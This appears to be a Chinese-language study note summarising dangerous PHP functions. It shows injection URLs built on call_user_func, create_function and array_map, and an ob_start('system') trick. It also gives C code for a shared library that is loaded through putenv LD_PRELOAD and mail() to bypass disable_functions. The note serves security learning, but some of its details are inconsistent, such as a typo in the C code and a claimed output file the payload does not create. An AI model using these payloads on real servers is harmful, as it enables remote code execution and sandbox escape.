PHP危險函式總結學習
1.PHP中程式碼執行的危險函式
call_user_func()
第一個引數 callback 是被呼叫的回撥函式,其餘引數是回撥函式的引數。 傳入call_user_func()的引數不能為引用傳遞
call_user_func($_GET['1'],$_GET['2']); codeexec.php?1=assert&2=phpinfo()call_user_func_array()
把第一個引數作為回撥函式(callback)呼叫,把引數陣列作(param_arr)為回撥函式的的引數傳入。
call_user_func_array($_GET['1'],$_GET['2']);
codeexec.php?1=assert&2[]=phpinfo()
create_function
該函式的內部實現用到了eval
,所以也具有相同的安全問題。第一個引數args
是後面定義函式的引數,第二個引數是函式的程式碼。
$a = $_GET['a']; $b = create_function('$a',"echo $a"); $b('');codeexec.php?a=phpinfo();
array_map()
作用是為陣列的每個元素應用回撥函式 。其返回值為陣列,是為 array1 每個元素應用 callback函式之後的陣列。 callback 函式形參的數量和傳給 array_map() 陣列數量,兩者必須一樣。
<?php $array = array(0,1,2,3,4,5); array_map($_GET[1],$array); ?>codeexec.php?1=phpinfo
preg_match+/e選項
搜尋subject中匹配pattern的部分, 以replacement進行替換。當使用被棄用的 e 修飾符時, 這個函式會轉義一些字元,在完成替換後,引擎會將結果字串作為php程式碼使用eval方式進行評估並將返回值作為最終參與替換的字串。
2.php命令執行函式
system
如果 PHP 執行在伺服器模組中, system() 函式還會嘗試在每行輸出完畢之後, 自動重新整理 web 伺服器的輸出快取。
shell_exec(沒有回顯的命令執行)
通過 shell 環境執行命令,並且將完整的輸出以字串的方式返回。(和``反引號效果相同)
passthru
同 exec() 函式類似, passthru() 函式 也是用來執行外部命令(command)的。 當所執行的 Unix 命令輸出二進位制資料, 並且需要直接傳送到瀏覽器的時候, 需要用此函式來替代 exec() 或 system() 函式。
exec(只返回一行資料)
popen
開啟一個指向程序的管道,該程序由派生給定的 command 命令執行而產生。 返回一個和 fopen() 所返回的相同的檔案指標,只不過它是單向的(只能用於讀或寫)並且必須用 pclose() 來關閉。此指標可以用於 fgets(),fgetss() 和 fwrite()。
proc_open
<?php $descriptorspec=array( //這個索引陣列用力指定要用proc_open建立的子程序的描述符 0=>array('pipe','r'), //STDIN 1=>array('pipe','w'),//STDOUT 2=>array('pipe','w') //STDERROR ); $handle=proc_open('dir',$descriptorspec,$pipes,NULL); //$pipes中儲存的是子程序建立的管道對應到 PHP 這一端的檔案指標($descriptorspec指定的) if(!is_resource($handle)){ die('proc_open failed'); } //fwrite($pipes[0],'ipconfig'); print('stdout:<br/>'); while($s=fgets($pipes[1])){ print_r($s); } print('===========<br/>stderr:<br/>'); while($s=fgets($pipes[2])){ print_r($s); } fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($handle); ?>
ob_start()
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
當呼叫 output_callback 時,它將收到輸出緩衝區的內容作為引數 並預期返回一個新的輸出緩衝區作為結果,這個新返回的輸出緩衝區內容將被送到瀏覽器。
<?php $cmd = 'system'; ob_start($cmd); //將命令儲存到內部緩衝區 echo "$_GET[a]"; ob_end_flush(); 清除內部緩衝區,此時將輸出緩衝區的內容當作引數執行並輸入執行結果,即執行system($_GET(a)) ?>
mail() 第五個引數 excrt_cmd
第五個引數支援新增附加的命令作為傳送郵件時候的配置,比如使用-f引數可以設定郵件發件人等。
如果傳遞了第五個引數(extra_cmd),則用sprintf將sendmail_path和extra_cmd拼接到sendmail_cmd中,隨後將sendmail_cmd丟給popen執行,如果系統預設sh是bash,popen會派生bash程序,而我們剛才提到的bash 破殼漏洞,直接就導致我們可以利用mail()函式執行任意命令,繞過disable_functions的限制
即mail->poen->bash呼叫鏈
但是如果使用了php_escape_shell_cmd函式會對特殊字元(包括&#;`|*?~<>^()[]{}$\, \x0A and \xFF. ‘ 等)進行轉義,我們可以通過putenv函式來設定一個包含自定義函式的環境變數,然後通過mail()來觸發
putenv()
bool putenv ( string $setting )
新增 setting 到伺服器環境變數,環境變數僅存活於當前請求期間,在請求結束時環境會恢復到初始狀態。 即我們能夠自定義環境變數
比如:
LD_PRELOAD是Linux系統的下一個有趣的環境變數,它允許你定義在程式執行前優先載入的動態連結庫
這個功能主要就是用來有選擇性的載入不同動態連結庫中的相同函式。
通過這個環境變數,我們可以在主程式和其動態連結庫的中間載入別的動態連結庫,甚至覆蓋正常的函式庫。
一方面,我們可以以此功能來使用自己的或是更好的函式(無需別人的原始碼),而另一方面,我們也可以以向別人的程式注入程式,從而達到特定的目的。
它允許你定義在程式執行前優先載入的動態連結庫,這說明我們幾乎可以劫持PHP的大部分函式,比如php的mail函式實際上是呼叫了系統的sendmail命令,我們選一個庫函式geteuid
然後編寫一個自己的動態連結程式,tr1ple.c
#include<stdlib.h> #include<stdio.h> #include<string.h> void payload(){ system("cat /flag"); } int geteuid(){ if(geteenv("LD_PRELOAD")==NULL){ return 0; } unsetenv("LD_PRELOAD"); payload(); }
當我們編寫的共享庫的geteuid函式被呼叫時將執行命令,測試編譯時平臺儘量與目標相近。
執行:
gcc -c -fPIC tr1ple.c -o tr1ple gcc --share tr1ple -o tr1ple.so
此時生成了tr1ple.so,我們將so檔案放在web目錄下,然後編寫php檔案進行測試:
<?php putenv("LD_PRELOAD=/var/www/html/tr1ple.so"); mail("1@2","","","",""); ?>
然後訪問後就會在web目錄下產生2333檔案:
所以就達到了劫持geteuid函式的目的,讓程式呼叫我們的惡意so檔案中函式,我們讓php檔案呼叫putenv來設定一個臨時環境變數LD_PRELOAD,以便於在程式執行時去載入我們的so,那麼關鍵就是這裡。那麼聯想一下如果我們能劫持其他庫函式,那麼也能達到相同的效果,因為php是用c寫的,mail呼叫了sendmail命令,sendmail命令又呼叫了geteuid函式,那就有以下:
1.如果其他php函式也呼叫了sendmail命令;
2.如果其它php函式呼叫系統命令並呼叫c的庫函式
以上兩種可能應該都是存在的,都可能產生風險。
assert
它也能來動態程式碼執行,但是隻是php5.x,7.x裡就是即使引數是字串也不執行
dl()
dl()函式允許在php腳本里動態載入php模組,預設是載入extension_dir目錄裡的擴充套件,
該選項是PHP_INI_SYSTEM範圍可修改的,只能在php.ini或者apache主配置檔案裡修改。
當然,你也可以通過enable_dl選項來關閉動態載入功能,而這個選項預設為On的,事實上也很少人注意到這個。
dl()函式在設計時存在安全漏洞,可以用../這種目錄遍歷的方式指定載入任何一個目錄裡的so等擴充套件檔案,extension_dir限制可以被隨意饒過。
所以我們可以上傳自己的so檔案,並且用dl函式載入這個so檔案然後利用so檔案裡的函式執行其他操作,
包括系統命令。
ini_set()/ini_alter()
設定指定配置選項的值。這個選項會在指令碼執行時保持新的值,並在指令碼結束時恢復。如果能結合call_user_func函式就能進行呼叫設定。
不是所有有效的選項都能夠用 ini_set() 來改變的。 這裡有個有效選項的清單附錄,附錄地址為https://www.php.net/manual/zh/ini.list.php
imap_mail
imap_mail在執行時也會fork execve,去呼叫sendmail,因此也會載入我們的so
引數設定與mail相同
參考(侵刪):
https://www.k0rz3n.com/2019/02/12/PHP%20%E4%B8%AD%E5%8F%AF%E4%BB%A5%E5%88%A9%E7%94%A8%E7%9A%84%E5%8D%B1%E9%99%A9%E7%9A%84%E5%87%BD%E6%95%B0/#8-mail-%E7%AC%AC%E4%BA%94%E4%B8%AA%E5%8F%82%E6%95%B0-excrt